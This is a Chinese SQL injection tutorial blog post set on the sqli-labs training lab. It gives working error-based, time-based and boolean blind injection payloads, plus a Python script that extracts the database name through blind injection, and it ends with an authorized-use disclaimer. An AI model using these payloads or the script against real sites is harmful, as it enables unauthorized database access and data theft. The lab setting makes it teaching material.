SQL注入入门进阶_报错注入、延时注入、python脚本盲注

SQL注入入门进阶

学习目标

本篇文章入门SQL注入,除了回显的SQL注入还存在报错注入、布尔盲注和延时注入。如果sqlmap跑不出来的还可以使用burp intrude注入或者使用python编写脚本注入。

报错注入

concat() 函数的意思是讲,全部内容连成一个字符串,但是有格式限制限制为XPATH格式。
利用这个特征,故意输入一些的特殊字符如~ (0x7e),^ (0x5e),导致报错将查询部分的内容报错出来

xxxxx是你的sqli-labs靶场url,本节使用到第5关

1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+

http://xxxxxxxxURL/Less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)%20--+

效果图

SQL注入入门进阶_报错注入、延时注入、python脚本盲注_第1张图片

还有其他报错注入语句,这里仅仅只是帮助新手入门,抛转引玉。

时间盲注

使用sql语句判断后跟着延时的函数,从而sql注入出想要的数据。

xxxxx是你的sqli-labs靶场url,本节使用到第九关

http://xxxxxxxxxxxx/Less-9/?id=1%27+and+if(1=1,sleep(10),null)%20--+
?id=1'+and+if(1=1,sleep(10),null) --+
?id=1%27+and+if(length(database())>1,sleep(5),1)%20--+

效果图

SQL注入入门进阶_报错注入、延时注入、python脚本盲注_第2张图片

处理mysql中的sleep函数还有benchmark函数

benchmark(10000,md5(‘admin’))

http://xxxxxxx/Less-9/?id=1%27+and+if(1=1,benchmark(10000000,md5(%27admin%27)),null)%20--+

效果图

SQL注入入门进阶_报错注入、延时注入、python脚本盲注_第3张图片

不同的数据库有不同的延时注入
SQL注入入门进阶_报错注入、延时注入、python脚本盲注_第4张图片

布尔盲注

Less-8/?id=1' and (ascii(substr((select database()) ,2,1))) = 101 --+
?id=1' and (ascii(substr((select database()) ,3,1))) = 99 --+
?id=1' and (ascii(substr((select database()) ,4,1))) = 117 --+
?id=1' and (ascii(substr((select database()) ,5,1))) = 114 --+
?id=1' and (ascii(substr((select database()) ,6,1))) = 105 --+
?id=1' and (ascii(substr((select database()) ,7,1))) = 116 --+
?id=1' and (ascii(substr((select database()) ,8,1))) = 121 --+

使用到sqli-labs第8关
先讲一下使用burp,intrude模块报错注入跑数据库名

SQL注入入门进阶_报错注入、延时注入、python脚本盲注_第5张图片

判断出数据库长度为8
SQL注入入门进阶_报错注入、延时注入、python脚本盲注_第6张图片

然后再爆破枚举,每个数据库的字符

/Less-8/?id=1'%20and%20substr((select%20database())%20,1,1)='s'--+

SQL注入入门进阶_报错注入、延时注入、python脚本盲注_第7张图片

SQL注入入门进阶_报错注入、延时注入、python脚本盲注_第8张图片

python编写脚本跑布尔盲注

用到sqli-labs第8关

代码


代码使用python3编写,使用到requests库需要安装一下。

代码主要功能枚举数据库长度,和根据枚举出来的数据库长度逐一枚举出具体数据库名称。

import requests

# 填写的sqli-labs靶场第8关
url = "http://xxxxxxxxx/Less-8/"


def get_length():
    # 判断数据库长度
    for i in range(10):
        payload1 = "?id=1%27%20and%20(length(database()))%20=%20{}%20--+".format(i)
        print(payload1)
        # 拼接好payload然后交给requests函数请求,发起测试
        url1 = url+payload1
        r = requests.get(url1)


        if 'You are in' in r.text:
            print("数据库的长度为:", 8)
            break
    return i

def get_databasename():
    databasename = ''
    len = get_length()
    # 遍历操作枚举数据库名
    for i in range(1,len+1):
    	# ascii码可见字符范围32-127
        for j in range(32,127):
            payload2 = '?id=1%27%20and%20(ascii(substr((select%20database())%20,{},1)))%20=%20{}%20--+'.format( i, j)
            r = requests.get(url+payload2)
            # 判断如果有You are in存在返回包就说明布尔是正确的。
            if 'You are in' in r.text:
            	
            	# 将ascii码转为字符
                databasename += chr(j)
                print("字符为:", chr(j))

    print("数据库名称为",databasename)




if __name__ == '__main__':
    get_databasename()

效果图

SQL注入入门进阶_报错注入、延时注入、python脚本盲注_第9张图片

说明

本文章仅供技术交流,如需测试请根据当地法律授权后再进行测试,使用代码默认同意此条款。

你可能感兴趣的:(web安全,sql,python,数据库)